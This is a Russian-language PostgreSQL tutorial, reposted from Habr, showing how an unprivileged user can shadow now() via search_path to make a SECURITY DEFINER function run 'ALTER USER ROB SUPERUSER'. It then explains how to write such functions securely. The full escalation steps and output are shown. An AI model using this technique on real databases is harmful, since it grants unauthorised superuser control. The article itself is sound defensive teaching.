Подпрограммы (функции и процедуры) со свойством SECURITY DEFINER выполняются с правами владельца. Это даёт возможность непривилегированному пользователю выполнить маскировку объектов, к которым относятся не только таблицы, но и подпрограммы и выполнить команду с правами владельца подпрограммы. Если владелец является суперпользователем, то можно выполнить любую команду с правами суперпользователя. В статье рассматривается, как выполнить маскировку функции и как создавать безопасные подпрограммы.
Создадим непривилегированного пользователя с правом создания объектов в любой схеме, например, public:
CREATE USER rob; grant create on schema public to rob;
Создадим под привилегированным пользователем postgres функцию:
CREATE OR REPLACE FUNCTION log() RETURNS text LANGUAGE plpgsql SECURITY DEFINER AS $function$ BEGIN RAISE NOTICE 'search_path %', current_schemas(true); RAISE NOTICE 'current_user %', current_user; RAISE NOTICE 'session_user %', session_user; RAISE NOTICE 'user %', user; RETURN now(); END; $function$ ;
Есть ли в этой функции уязвимость? Например, можно ли с помощью этой функции выполнить произвольную команду вроде ALTER USER ROB SUPERUSER? Подключимся под пользователем rob:
postgres=# \c postgres rob You are now connected to database "postgres" as user "rob". postgres=>
По умолчанию, созданные подпрограммы могут выполнять все пользователи базы данных. Выполним функцию под пользователем rob:
postgres=> select log(); NOTICE: search_path {pg_catalog,public} NOTICE: current_user postgres NOTICE: session_user rob NOTICE: user postgres log ------------------------------- 2025-03-14 17:33:43.721777+03 (1 row)
Функция работает корректно.
Создадим под пользователем rob функцию:
postgres=> CREATE OR REPLACE FUNCTION now() RETURNS text LANGUAGE plpgsql AS $$ BEGIN ALTER USER ROB SUPERUSER; RETURN 'done'; END; $$; CREATE FUNCTION
Установим в сессии пользователя rob путь поиска:
postgres=> set search_path = public, pg_catalog; SET
Снова вызовем функцию log():
postgres=> select log(); NOTICE: search_path {public,pg_catalog} NOTICE: current_user postgres NOTICE: session_user rob NOTICE: user postgres log ------ done (1 row)
Функция успешно отработала, но в этот раз функция не выдала дату, а написала: done. Появился ли у пользователя rob атрибут SUPERUSER?
postgres=> \du rob List of roles Role name | Attributes -----------+------------ rob | Superuser
Да, rob смог дать себе права суперпользователя. Права суперпользователя уже есть, переподсоединимся, чтобы исправить промпт на промпт суперпользователя:
postgres=> \c postgres rob You are now connected to database "postgres" as user "rob". postgres=#
Что произошло? Пользователь rob замаскировал стандартную функцию now(). Объекты системного каталога, в том числе функции, можно замаскировать, явно указав схему pg_catalog в пути поиска, после схемы с маскируемым объектом. Например: set search_path = public, pg_catalog;
Что для этого нужно? Для выполнения маскировки пользователю достаточно иметь право создавать подпрограммы в какой-нибудь схеме, право вызывать подпрограмму и в подпрограмме должен быть вызов любой функции.
Подпрограммы используют параметры, действующие в сессии.
Является ли это уязвимостью? Вряд ли, это документированное поведение: «Для обеспечения безопасности search_path должен быть настроен таким образом, чтобы исключить любые схемы, доступные для записи ненадежными пользователями. Это предотвращает возможность создания злонамеренными пользователями объектов (например, таблиц, функций и операторов), которые могут замаскировать объекты, предназначенные для использования функцией. Особенно важной в этом отношении является временная схема, которая по умолчанию ищется первой и обычно доступна для записи всем. Безопасное расположение может быть достигнуто путем принудительного поиска временной схемы в конце. Для этого напишите pg_temp как последний элемент в search_path.»
Другими словами, чтобы подпрограмма SECURITY DEFINER была безопасна, search_path должен:
-
быть установлен на уровне определения подпрограммы
-
исключать любые схемы, доступные для создания или изменения пользователям с меньшим уровнем привилегий, чем у владельца такой подпрограммы
-
схема pg_temp должна быть указана явно в конце пути поиска. Также, нужно помнить или знать, что по умолчанию, после создания подпрограммы роль PUBLIC получает право выполнять подпрограмму. Это поведение можно изменить, используя привилегии по умолчанию (default privileges).
Как переписать функцию, чтобы она была безопасной?
Чтобы не зависеть от изменения параметра search_path его достаточно установить в свойствах подпрограммы:
CREATE OR REPLACE FUNCTION log() RETURNS text LANGUAGE plpgsql SECURITY DEFINER SET search_path = pg_catalog, pg_temp AS $function$ BEGIN RAISE NOTICE 'search_path %', current_schemas(true); RAISE NOTICE 'current_user %', current_user; RAISE NOTICE 'session_user %', session_user; RAISE NOTICE 'user %', user; RETURN now(); END; $function$ ;
Если установить SET search_path = pg_catalog, pg_temp; внутри блока BEGIN и END ошибки не будет, но поведение будет другим — установленное значение останется после выхода из подпрограммы, а если произошел откат транзакции (даже неявно при наличии в подпрограмме секции EXCEPTION) изменение значения параметра отменится. Это создаёт неоднозначность и порождает трудно выявляемые ошибки.
Можно было бы использовать префикс с названием схем перед каждым объектом в теле подпрограммы, но тогда нужно ставить префикс и в теле всех подпрограмм, которые она вызывает, в том числе подпрограммы системного каталога. Иначе вызывающий функцию может установить search_path = myschema, public, pg_catalog и заменить любую подпрограмму системного каталога на свою в схеме myschema. Также вызывающий может создать временную таблицу (а может даже и триггер и она перекроет любые таблицы. Поэтому, при создании SECURITY DEFINER подпрограммы не стоит забывать о pg_temp и в определении подпрограммы всегда указывать его явно и последним.
Подпрограммам со свойством SECURITY DEFINER лучше не полагаться на путь поиска, а всегда устанавливать путь поиска в определении подпрограммы, например: search_path = pg_catalog, схема_владельца, pg_temp.
Удаление созданных объектов:
\c postgres postgres \\ drop function if exists public.now(); revoke create on schema public from rob; drop user rob;
Заключение
Чтобы подпрограмма SECURITY DEFINER была безопасна, search_path:
-
должен быть установлен на уровне определения (а не после BEGIN) подпрограммы;
-
исключать любые схемы, доступные для создания или изменения пользователями с меньшим уровнем привилегий, чем у владельца такой подпрограммы;
-
схема pg_temp должна быть указана явно в конце пути поиска, установленого в определении подпрограммы.
ссылка на оригинал статьи https://habr.com/ru/articles/891032/
Добавить комментарий